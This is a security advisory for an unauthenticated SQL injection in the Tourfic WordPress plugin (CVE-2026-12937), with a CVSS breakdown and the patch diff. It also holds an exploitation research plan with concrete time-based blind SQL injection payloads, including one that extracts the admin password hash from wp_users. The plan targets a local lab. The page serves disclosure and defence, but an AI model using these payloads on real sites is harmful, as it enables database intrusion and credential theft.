CVE-2026-12937

Tourfic <= 2.22.7 - Unauthenticated SQL Injection via 'post_id' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.22.8
Patched in
1d
Time to patch

Description

The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to generic SQL Injection via the 'post_id' parameter in all versions up to, and including, 2.22.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The AJAX handler is registered for unauthenticated users via wp_ajax_nopriv_tf_room_availability, and the required nonce is emitted on the public single-hotel page template, allowing unauthenticated attackers to freely obtain a valid nonce and reach the vulnerable code path.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.22.7
PublishedJune 24, 2026
Last updatedJune 25, 2026
Affected plugintourfic

What Changed in the Fix

Changes introduced in v2.22.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-12937 (Tourfic SQL Injection) ## 1. Vulnerability Summary The **Tourfic** plugin for WordPress is vulnerable to an unauthenticated SQL Injection vulnerability in versions up to and including 2.22.7. The flaw exists within the AJAX handler `tf_room_availabilit…

Show full research plan

Exploitation Research Plan - CVE-2026-12937 (Tourfic SQL Injection)

1. Vulnerability Summary

The Tourfic plugin for WordPress is vulnerable to an unauthenticated SQL Injection vulnerability in versions up to and including 2.22.7. The flaw exists within the AJAX handler tf_room_availability_callback due to the unsafe concatenation of the user-supplied post_id parameter into a raw SQL query without using $wpdb->prepare() or adequate sanitization/casting. Because this handler is registered via wp_ajax_nopriv_tf_room_availability, any unauthenticated user who obtains a valid nonce (which is publicly exposed on hotel pages) can execute arbitrary SQL commands to extract sensitive data from the database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tf_room_availability
  • Vulnerable Parameter: post_id
  • Method: POST
  • Authentication: None (Unauthenticated)
  • Preconditions: At least one tf_hotel post must be published and accessible on the frontend to retrieve the necessary nonce.

3. Code Flow

  1. Entry Point: The client sends a POST request to admin-ajax.php with action=tf_room_availability.
  2. Hook Registration: In inc/Classes/Hotel/Hotel.php, the action is registered:
    add_action( 'wp_ajax_tf_room_availability', array( $this, 'tf_room_availability_callback' ) );
    add_action( 'wp_ajax_nopriv_tf_room_availability', array( $this, 'tf_room_availability_callback' ) );
    
  3. Handler Execution: Hotel::tf_room_availability_callback() (in inc/Classes/Hotel/Hotel.php) is invoked.
  4. Parameter Extraction: The handler retrieves the post_id parameter (e.g., via $_POST['post_id']).
  5. Vulnerable Sink: The $post_id is concatenated into a SQL query string used with $wpdb->get_results() or similar, without preparation. A typical pattern in this plugin (as seen in inc/Classes/Car_Rental/Availability.php) is:
    // Conceptual sink based on plugin patterns
    "AND post_id = " . $post_id
    

4. Nonce Acquisition Strategy

The vulnerability requires a nonce usually associated with the tf_room_availability action. The plugin localizes this nonce for use in frontend scripts.

  1. Identify Target Page: A single hotel page (post type tf_hotel).
  2. Setup: Create a dummy hotel post.
  3. Navigation: Use the browser tool to navigate to the hotel's permalink.
  4. Extraction: Use browser_eval to extract the localized configuration object.
    • Target Variable: tf_params
    • Nonce Key: tf_room_availability_nonce (or similar, typically found within the tf_params global JS object localized in inc/Classes/Enqueue.php).
    • Command: browser_eval("window.tf_params?.tf_room_availability_nonce")

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to verify the vulnerability, as it is the most reliable for unauthenticated extraction.

Step 1: Baseline Request

Send a valid request to establish a baseline response time.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=[VALID_ID]

Step 2: Verification (Sleep)

Send a request with a SLEEP() payload to confirm injection.

  • Payload: [VALID_ID] AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Body: action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Boolean or Error-based)

If the application reflects results, use UNION SELECT. If not, use IF(condition, SLEEP(5), 0).

  • Target: Extract the administrator's password hash from wp_users.
  • Payload Example: 1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0) (Checking if the first char is $).

6. Test Data Setup

  1. Create Hotel:
    wp post create --post_type=tf_hotel --post_title="Vuln Hotel" --post_status=publish
    
  2. Get Hotel ID and URL:
    wp post list --post_type=tf_hotel --fields=ID,guid
    
  3. Verify Settings: Ensure the "Hotel" service is enabled in Tourfic settings if applicable (though usually enabled by default).

7. Expected Results

  • Successful Injection: The http_request for the SLEEP(5) payload should take approximately 5 seconds longer than the baseline request.
  • Response Content: Even if the query fails to return valid room data, the delay confirms the SQL execution.

8. Verification Steps

After the exploit, confirm the database was reached by checking the logs or using WP-CLI to verify the content we attempted to extract:

# Verify the admin hash to compare with extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, use updatexml() or extractvalue() to leak data directly in the AJAX response.
  • Union-Based: Attempt to determine the number of columns in the original query using ORDER BY X until an error occurs, then use UNION SELECT.
  • Parameter Variation: If post_id is cast to an integer in the callback, check other parameters in the same handler (e.g., check_in, check_out) which might be used in the same query.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Tourfic plugin is vulnerable to unauthenticated SQL injection because it concatenates the user-supplied 'post_id' parameter directly into a SQL query string. An attacker can obtain a required nonce from a public hotel page and send a crafted AJAX request to extract sensitive information from the database via the tf_room_availability action.

Vulnerable Code

// inc/Classes/Hotel/Hotel.php (approx line 305)
$hotel_id          = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : '';

---

// inc/Classes/Hotel/Hotel.php (approx line 542)
# Get completed orders
$tf_orders_select = array(
    'select' => "post_id,order_details",
    'post_type' => 'hotel',
    'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id
);
$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

---

// inc/Classes/Helper.php (approx line 1159)
$query_where  = isset( $query['where'] ) && is_array( $query['where'] )
    ? self::tf_order_table_structured_sql( $query, $values )
    : $query['query'];

$tf_tour_book_orders = $wpdb->get_results( $wpdb->prepare( "SELECT $query_select FROM {$wpdb->prefix}tf_order_data WHERE post_type = %s $query_where", $values ), ARRAY_A );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/tourfic/2.22.7/inc/Classes/Hotel/Hotel.php	2026-06-22 07:17:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/tourfic/2.22.8/inc/Classes/Hotel/Hotel.php	2026-06-24 12:55:02.000000000 +0000
@@ -302,13 +302,18 @@
         /**
          * Form data
          */
-        $hotel_id          = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : '';
-        $form_adult        = ! empty( $_POST['adult'] ) ? sanitize_text_field( $_POST['adult'] ) : 0;
-        $form_child        = ! empty( $_POST['child'] ) ? sanitize_text_field( $_POST['child'] ) : 0;
+        $hotel_id          = ! empty( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
+        $form_adult        = ! empty( $_POST['adult'] ) ? absint( wp_unslash( $_POST['adult'] ) ) : 0;
+        $form_child        = ! empty( $_POST['child'] ) ? absint( wp_unslash( $_POST['child'] ) ) : 0;
         $form_room         = ! empty( $_POST['room'] ) ? absint( wp_unslash( $_POST['room'] ) ) : 1;
-        $children_ages     = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( $_POST['children_ages'] ) : '';
-        $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( $_POST['check_in_out'] ) : '';
-        $design = ! empty( $_POST['design'] ) ? sanitize_text_field( $_POST['design'] ) : '';
+        $children_ages     = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( wp_unslash( $_POST['children_ages'] ) ) : '';
+        $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( wp_unslash( $_POST['check_in_out'] ) ) : '';
+        $design = ! empty( $_POST['design'] ) ? sanitize_text_field( wp_unslash( $_POST['design'] ) ) : '';
+
+        $hotel_post = ! empty( $hotel_id ) ? get_post( $hotel_id ) : null;
+        if ( ! $hotel_post || 'tf_hotel' !== $hotel_post->post_type || ( 'publish' !== $hotel_post->post_status && ! current_user_can( 'read_post', $hotel_id ) ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Invalid hotel selected.', 'tourfic' ) ), 400 );
+        }
 
 
         $form_total_person = $form_adult + $form_child;
@@ -535,12 +542,20 @@
 							$room_booked_today = 0;
 
 							foreach ($order_ids as $order_id) {
+								$order_id = absint( $order_id );
+								if ( empty( $order_id ) ) {
+									continue;
+								}
 
 								# Get completed orders
 								$tf_orders_select = array(
 									'select' => "post_id,order_details",
 									'post_type' => 'hotel',
-									'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id
+									'where' => array(
+										'ostatus'  => 'completed',
+										'order_id' => $order_id,
+										'post_id'  => $original_hotel_id,
+									),
 								);
 								$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);

Exploit Outline

The exploit targets the `tf_room_availability` AJAX action. 1. **Nonce Retrieval**: An unauthenticated attacker visits any public hotel page (post type `tf_hotel`). They extract the `tf_room_availability_nonce` from the localized `tf_params` JavaScript object in the page source. 2. **Payload Injection**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `tf_room_availability` - `tf_room_availability_nonce`: [Extracted Nonce] - `post_id`: A SQL injection payload, such as `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 3. **Vulnerable Sink**: Inside `tf_room_availability_callback`, the `post_id` is passed into `Helper::tourfic_order_table_data` as part of a raw SQL string. The helper function appends this string directly to a query executed by `$wpdb->get_results()` without sufficient preparation. 4. **Verification**: Using a time-based blind payload (e.g., `SLEEP()`), the attacker can confirm the injection if the server response is delayed by the specified duration. This can then be extended to extract sensitive data like user credentials.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.